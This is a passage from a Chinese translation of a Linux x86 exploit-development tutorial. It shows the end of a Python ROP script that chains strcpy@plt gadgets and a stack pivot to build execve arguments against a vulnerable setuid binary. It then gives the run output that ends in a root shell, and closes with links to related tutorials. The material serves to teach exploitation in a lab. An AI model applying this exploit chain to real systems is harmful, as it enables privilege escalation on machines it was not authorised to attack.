custom stack @ loc 0x804ac6c) execve_argv_dst += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(execve_argv_dst) buf += conv(execve_null_arg) execve_argv_dst += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(execve_argv_dst) buf += conv(execve_null_arg) execve_argv_dst += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(execve_argv_dst) buf += conv(execve_null_arg) execve_argv_dst += 1 buf += conv(strcpy_plt) buf += conv(ppr_addr) buf += conv(execve_argv_dst) buf += conv(execve_null_arg) #Stack Pivot buf += conv(pr_addr) buf += conv(cust_base_esp) buf += conv(lr_addr) print "Calling vulnerable program" call(["./vuln", buf])
执行上述利用代码,我们会获得 root shell(在下面展示):
$ python exp.py Calling vulnerable program AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��ᆳ�ᆳ�ᆳ�ͅᆳހ�����ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳޢ�@���0�����Ѓ΅d�ˁЃ΅e�U�Ѓ΅f�0�Ѓ΅g�C�Ѓ΅h�܃Ѓ΅i�U�Ѓ΅j�0�Ѓ΅k�C�Ѓ΅l�`�Ѓ΅m�`�Ѓ΅n�`�Ѓ΅o�`�Ѓ΅p���Ѓ΅q�Ѓ΅r�0�Ѓ΅s�C�Ѓ΅t���Ѓ΅u�Ѓ΅v�0�Ѓ΅w�C�Ѓ΅x�`�Ѓ΅y�`�Ѓ΅z�`�Ѓ΅{�`�Ѓ΅`�T�Ѓ΅a�W�Ѓ΅b�V�Ѓ΅c�^�Ѓ΅d�T�Ѓ΅e�b�Ѓ΅f���Ѓ΅h���Ѓ΅i�Ѓ΅j�0�Ѓ΅k�C�Ѓ΅l�`�Ѓ΅m�`�Ѓ΅n�`�Ѓ΅o�`���`�i� Len:1008 # id uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun) # exit $
参考
PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP EXPLOITS相关文章推荐
- Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分
- Linux (x86) Exploit 开发系列教程之六(绕过ASLR - 第一部分)
- Linux (x86) Exploit 开发系列教程之十 使用 Malloc Maleficarum 的堆溢出
- Linux (x86) Exploit 开发系列教程之十二 释放后使用
- SploitFun Linux x86 Exploit 开发系列教程
- Linux (x86) Exploit 开发系列教程之九 使用 unlink 的堆溢出
- Linux (x86) Exploit 开发系列教程之十一 Off-By-One 漏洞(基于堆)
- C#开发WPF/Silverlight动画及游戏系列教程(Game Tutorial):(二十) 第一部分拓展小结篇
- linux2.6驱动开发系列教程
- DB2 开发系列 第三部分 DB2数据库的备份
- C#开发WPF/Silverlight动画及游戏系列教程(Game Tutorial):(二十) 第一部分拓展小结篇
- linux2.6驱动开发系列教程
- 【本文已迁移到“程序员文摘” http://programmerdigest.cn/category/lajp】LAJP系列教程-第二部分-HelloWorld(Linux 消息队列)
- 【ARM-Linux开发】Rico Board DIY系列实验教程 Day 2——搭建Boa服务器
- 一步一步学习sharepoint2010 workflow 系列第三部分:自定义SharePoint代码工作流 第12章 工作流开发技巧包 (A bag of workflow developer tricks)
- Unix高级安全设置第三部分-LINUX系列(2)
- 【本文已迁移到“程序员文摘” http://programmerdigest.cn/category/lajp】LAJP系列教程-第三部分-LAJP规范用法
- linux字符驱动与块驱动开发教程系列
- LAJP系列教程-第三部分-LAJP使用注意事项
- C#开发WPF/Silverlight动画及游戏系列教程(Game Tutorial):(二十) 第一部分拓展小结篇